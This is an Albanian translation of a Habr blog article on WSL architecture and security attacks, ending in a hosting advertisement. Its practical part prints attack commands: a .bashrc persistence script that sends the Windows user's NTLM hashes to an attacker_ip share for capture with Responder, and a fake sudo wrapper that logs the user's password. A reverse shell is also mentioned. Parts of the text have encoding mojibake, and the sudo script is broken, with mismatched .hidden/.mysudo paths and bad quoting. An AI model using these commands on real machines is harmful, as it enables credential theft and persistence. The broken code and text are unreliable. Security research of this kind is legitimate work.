Eksperimentet WSL. Pjesa 1

PĂ«rshĂ«ndetje, Habr! NĂ« tetor OTUS nis njĂ« grup tĂ« ri tĂ« kursit «Siguria e Linux». NĂ« prag tĂ« fillimit tĂ« kursit, po ndajmĂ« me ju njĂ« artikull tĂ« shkruar nga njĂ« prej pedagogĂ«ve tanĂ« — Alexander Kolesnikov.

Eksperimentet WSL. Pjesa 1

Në vitin 2016, Microsoft prezantoi për komunitetin IT një teknologji të re WSL (Windows Subsystem for Linux), e cila në perspektivë bënte të mundur bashkimin e dy konkurrentëve të deriatëhershëm të papajtueshëm, që garonin për popullaritet si mes përdoruesve të zakonshëm, ashtu edhe atyre të avancuar të sistemeve operative: Windows dhe Linux. Kjo teknologji ofronte mundësinë e përdorimit të mjeteve të Linux në mjedisin Windows pa pasur nevojë të nisej Linux, për shembull përmes multi-boot. Në Habr mund të gjeni një numër të madh artikujsh që përshkruajnë përparësitë e përdorimit të WSL. Megjithatë, fatkeqësisht, në momentin e shkrimit të këtij materiali, në këtë burim nuk u gjetën analiza të sigurisë së një simbioze të tillë të sistemeve operative. Ky postim është një përpjekje për ta korrigjuar këtë mungesë. Artikulli do të trajtojë veçoritë arkitekturore të WSL 1 dhe 2, si edhe do të shqyrtojë disa shembuj sulmesh ndaj sistemeve që përdorin këto teknologji. Artikulli është i ndarë në 2 pjesë. Në pjesën e parë do të paraqiten metodat kryesore teorike të sulmeve nga ana e Linux dhe Windows. Artikulli i dytë do të përfshijë konfigurimin e mjedisit testues dhe riprodhimin e sulmeve.

WSL 1: veçoritë e arkitekturës

PĂ«r njĂ« kuptim sa mĂ« tĂ« saktĂ« tĂ« çështjeve tĂ« sigurisĂ« sĂ« WSL, Ă«shtĂ« e nevojshme tĂ« pĂ«rcaktohen nuancat kryesore qĂ« lidhen me implementimin e nĂ«nsistemit. NjĂ« nga detyrat kryesore tĂ« pĂ«rdoruesit qĂ« zgjidh WSL Ă«shtĂ« ofrimi i mundĂ«sisĂ« pĂ«r tĂ« punuar pĂ«rmes terminalit tĂ« sistemeve Linux nĂ« njĂ« host me Windows. Gjithashtu, pĂ«rputhshmĂ«ria e ofruar ishte aq native, saqĂ« skedarĂ«t ekzekutues Linux (ELF) mund tĂ« niseshin drejtpĂ«rdrejt nĂ« Windows. PĂ«r arritjen e kĂ«tyre qĂ«llimeve, nĂ« Windows 10 u krijua njĂ« nĂ«nsistem i posaçëm qĂ« lejonte ekzekutimin e aplikacioneve Linux pĂ«rmes njĂ« grupi thirrjesh tĂ« caktuara tĂ« sistemit — nĂ« kĂ«tĂ« mĂ«nyrĂ« u bĂ« njĂ« pĂ«rpjekje pĂ«r tĂ« mapuar grupin e syscall-eve tĂ« Linux mbi Windows. NĂ« nivel fizik, kjo u realizua duke shtuar driverĂ« tĂ« rinj dhe njĂ« format tĂ« ri procesi. Vizualisht, arkitektura dukej kĂ«shtu:

Eksperimentet WSL. Pjesa 1

NĂ« thelb, ndĂ«rveprimi me sistemin operativ Linux u organizua pĂ«rmes disa moduleve tĂ« kernelit dhe njĂ« lloji tĂ« veçantĂ« procesesh — pico. Nga skema e mĂ«sipĂ«rme shihet se procesi i nisur nĂ« instancĂ«n Linux nĂ« host duhet tĂ« jetĂ« natyral dhe tĂ« pĂ«rdorĂ« tĂ« njĂ«jtat burime si aplikacionet e zakonshme tĂ« Windows. Por si arrihet kjo? NĂ« projektin Drawbridge u zhvilluan koncepte procesesh pĂ«r Windows qĂ« ofronin tĂ« gjithĂ« komponentĂ«t e nevojshĂ«m tĂ« sistemit operativ (nĂ« varĂ«si tĂ« versionit tĂ« tij) pĂ«r tĂ« ekzekutuar njĂ« aplikacion tĂ« njĂ« OS tjetĂ«r.

Vlen tĂ« theksohet se abstraksioni i propozuar lejonte tĂ« mos varej nga sistemi operativ (nĂ« veçanti — Windows) ku pritej tĂ« ekzekutohej procesi i njĂ« OS tjetĂ«r, dhe ofronte njĂ« qasje tĂ« pĂ«rgjithshme.

Kështu, çdo aplikacion brenda një pico process mund të funksiononte pa u varur nga kerneli i Windows:

  1. Problemet e përputhshmërisë dhe të përkthimit të thirrjeve sistemore duhej të zgjidheshin nga providerë të posaçëm;
  2. Kontrolli i aksesit duhej të kryhej përmes Security Monitor. Monitori ndodhet në kernel dhe për këtë arsye Windows kishte nevojë për një përditësim në formën e një driver-i të ri, i cili mund të vepronte si provider për procese të tilla. Prototipi i pico process paraqitet skematikisht më poshtë:

Eksperimentet WSL. Pjesa 1

MeqenĂ«se sistemi i skedarĂ«ve i Linux pĂ«rdor emra skedarĂ«sh dhe drejtorish tĂ« ndjeshĂ«m ndaj shkronjave tĂ« mĂ«dha e tĂ« vogla, nĂ« Windows u shtuan 2 lloje sistemesh skedarĂ«sh pĂ«r punĂ«n me WSL — VolFS dhe DriveFS. VolFS Ă«shtĂ« njĂ« implementim i sistemit tĂ« skedarĂ«ve Linux, ndĂ«rsa DriveFS Ă«shtĂ« njĂ« sistem skedarĂ«sh qĂ« funksionon sipas rregullave tĂ« Windows, por ofron mundĂ«sinĂ« e zgjedhjes sĂ« ndjeshmĂ«risĂ« ndaj regjistrit tĂ« emrave.

WSL 2

WSL 1 kishte një sërë kufizimesh që nuk lejonin përdorimin e saj për gamën më të gjerë të detyrave: për shembull, mungonte mundësia për të ekzekutuar aplikacione Linux 32-bit dhe nuk mund të përdoreshin device driver. Për këtë arsye, në vitin 2020 u prezantua WSL 2, e cila ndryshoi qasjen ndaj ndërtimit të nënsistemit. WSL 2 është një makinë virtuale e optimizuar që përputhet me karakteristikat e WSL 1 sa i përket përdorimit të burimeve. Tani, në varësi të detyrave që zgjidh përdoruesi i Windows, mund të zgjidhet versioni i nevojshëm i nënsistemit për punë me Linux. Për të zbutur dobësitë e mundshme, WSL 2 u implementua mbi bazën e Hyper-V në Windows 10. Në këtë formë, Windows ka mundësinë të ekzekutojë në mënyrë të izoluar kernelin e sistemit operativ Linux. Duhet mbajtur parasysh se versioni 1 i WSL u prezantua si një funksion beta, i cili duhej të tregonte drejtimin e zhvillimit të Windows në këtë fushë, ndaj kalimi te Hyper-V ishte i pashmangshëm. Arkitektura përfundimtare duket kështu:

Eksperimentet WSL. Pjesa 1

Në këtë version, kernelët e sistemeve Windows dhe Linux kanë burimet e tyre të veçanta dhe ndërthurja ekziston vetëm në sistemin e skedarëve, megjithatë kjo ndërthurje nuk mund të quhet e plotë. Ndërveprimi midis sistemeve të skedarëve realizohet përmes një mbështjellësi klient-server që funksionon mbi protokollin 9P.

Aktualisht, Microsoft ofron mundësinë e kalimit midis WSL 1 dhe WSL 2. Të dy versionet janë të disponueshme për përdorim.

Siguria e WSL

Aktualisht ekzistojnë disa punime që përshkruajnë disa qasje për përdorimin e mjeteve legjitime të OS për të sulmuar ndërveprimin midis nënsistemeve. Ne do të përdorim skenarët e tyre për të verifikuar nëse këto sulme mbeten aktuale në momentin e shkrimit të artikullit. Lista e përgjithshme e sulmeve dhe skenarët e zbatimit të tyre:

1. Implementimi i sistemit të skedarëve: të drejtat e aksesit, prania e direktorive të përbashkëta/mekanizmave të shkëmbimit të të dhënave.

Studimet u kryen për të vlerësuar shkeljen e rregullave të aksesit nga Linux FS->Windows FS, Windows FS->Linux FS. Studimet demonstruan mundësinë e modifikimit të një skedari të caktuar brenda OS së synuar. Gjithashtu u kryen përpjekje për zëvendësim, krijim dublikatash dhe fshirje të një pjese të sistemeve të skedarëve.

Skenari:

  • A. Sulm nga sistemi operativ Windows — modifikimi i skedarĂ«ve nga direktoriumi /etc i OS Linux.
  • B. Sulm nga sistemi operativ Linux — modifikimi i skedarĂ«ve nĂ« direktoriumet: C:Windows, C:Program Files, C:Users

2. Implementimi i stack-ut të rrjetit.

Hulumtimet u kryen mbi shembuj sulmesh nga sistemi operativ Linux ndaj Windows. U përdorën veçoritë e funksionimit të stack-ut të rrjetit, konkretisht mekanizmat e autentikimit në burime të ndryshme.

Skenari:

  • Hapja e qasjes nĂ« njĂ« port qĂ« Ă«shtĂ« i zĂ«nĂ« nĂ« sistemin Windows
  • Hapja e njĂ« porti pa tĂ« drejtat pĂ«rkatĂ«se
  • Nisja e njĂ« reverse shell duke pĂ«rdorur njĂ« skedar elf nĂ« sistemin operativ Windows.

3. Fshehja e nisjes së proceseve të softuerit keqdashës përmes nënsistemit WSL.

Hulumtimet u mbështetën në një fakt të thjeshtë: në rastin e WSL 1, nënsistemet e mbrojtjes nuk mund të kryejnë kapjen e ngjarjeve në një kernel tjetër, i cili funksionon duke përdorur një ofrues legjitim nga ana e sistemit operativ. Në rastin e WSL 2, nuk ka mundësi të shihen ngjarjet që ndodhin në një kernel të veçantë brenda një makine virtuale të lehtë.

Skenari:

1) Nisja e aplikacionit për qasje në distancë në sistem dhe shikimi i ngjarjeve të regjistruara.

Eksperimentet me WSL 1: kapja e hash-it (Windows OS)

Më në fund arritëm te pjesa praktike. Fillimisht, duhet të konfigurohet mjedisi për testet. Të gjitha eksperimentet do të kryhen në një stendë me Windows 10 2004 të instaluar. Si imazh i sistemit operativ për WSL u zgjodh imazhi Ubuntu 18.04. Imazhi u zgjodh rastësisht dhe çdo tjetër do të funksionojë po njësoj. Komandat për konfigurimin e stendës:

Paraprakisht duhet të nisni powershell.exe si administrator.

Për WSL 1 duhet të ekzekutohen komandat:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Aktivizo funksionin WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Shkarko imazhin Linux nga Microsoft Store

  • Ubuntu.appx install —root #Do tĂ« instalojmĂ« imazhin
  • Mund tĂ« jetĂ« e nevojshme tĂ« kaloni manualisht procesin e konfigurimit dhe tĂ« krijoni njĂ« pĂ«rdorues tĂ« ri, i cili do tĂ« ketĂ« mĂ« pak tĂ« drejta se root. PĂ«r testet tona, ky do tĂ« jetĂ« pĂ«rdoruesi i zakonshĂ«m sam.
  • Restart-Computer #Rinisim
  • Pas rinisjes sĂ« stendĂ«s mund tĂ« ekzekutoni komandĂ«n bash. NĂ«se gjithçka ka funksionuar siç duhet, nĂ« konsolĂ«n e Windows do tĂ« shihni afĂ«rsisht njĂ« dalje tĂ« tillĂ«:

    Eksperimentet WSL. Pjesa 1

    Si makinë të sulmuesit do të përdorim shpërndarjen Kali Linux; të gjitha makinat duhet të jenë në të njëjtin rrjet lokal.

    Le tĂ« supozojmĂ« se kemi akses jo tĂ« privilegjuar nĂ« WSL nĂ« njĂ« kompjuter Windows. Le tĂ« provojmĂ« tĂ« kryejmĂ« njĂ« sulm ndaj sistemit operativ Linux duke thirrur njĂ« komandĂ« nga Linux. PĂ«r ta realizuar sulmin, do tĂ« pĂ«rdorim njĂ« teknikĂ« tĂ« thjeshtĂ« tĂ« nisjes automatike — do tĂ« shtojmĂ« skriptin tonĂ« pĂ«r ekzekutim nĂ« mjedisin Linux. PĂ«r kĂ«tĂ« duhet tĂ« ndryshohet skedari .bashrc.

    Në kompjuterin me WSL ekzekutojmë:

    	1. bash
    	2. Kalojmë në direktoriumin home të përdoruesit: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\attacker_ip\shareName\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Në kompjuterin Kali Linux ekzekutojmë:

    1. Responder -I eth0 -rdvw

    NĂ« kompjuterin Windows nisim bash.

    Presim rezultatin në kompjuterin Kali Linux:

    Eksperimentet WSL. Pjesa 1

    Në këtë mënyrë, morëm hash-et e përdoruesit të Windows përmes nënsistemit WSL, duke ekzekutuar një komandë në sistemin Linux.

    Eksperimente me WSL 1: marrja e fjalëkalimit të përdoruesit (Linux OS)

    Le të kryejmë edhe një eksperiment tjetër. Gjatë këtij verifikimi do ta plotësojmë skedarin .bashrc me disa komanda për të marrë fjalëkalimin e përdoruesit të sistemit operativ Linux.

    Nisim bash dhe fusim komandat:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Që sulmi të përfundojë me sukses, është e nevojshme që përdoruesi Sam të thërrasë sudo në terminalin Linux. Pas kësaj, fjalëkalimi i përdoruesit të Linux OS do të gjendet në skedarin pass.txt:

    Eksperimentet WSL. Pjesa 1

    Zbatimi i sulmeve u paraqit vetëm për njohje teorike.

    Në pjesën tjetër të artikullit do të përshkruhet zbatimi i protokollit 9P, do të shqyrtohet krijimi i një skaneri për këtë protokoll, si dhe do të kryhet një sulm me ndihmën e tij.

    Lista e literaturës së përdorur

    Eksperimentet WSL. Pjesa 1

    Lexo më shumë

    Burimi: habr.com

    Blini hosting tĂ« besueshĂ«m pĂ«r faqe interneti me mbrojtje nga DDoS, serverĂ« VPS VDS đŸ”„ Blini hosting tĂ« besueshĂ«m pĂ«r faqe interneti me mbrojtje nga DDoS, serverĂ« VPS VDS | ProHoster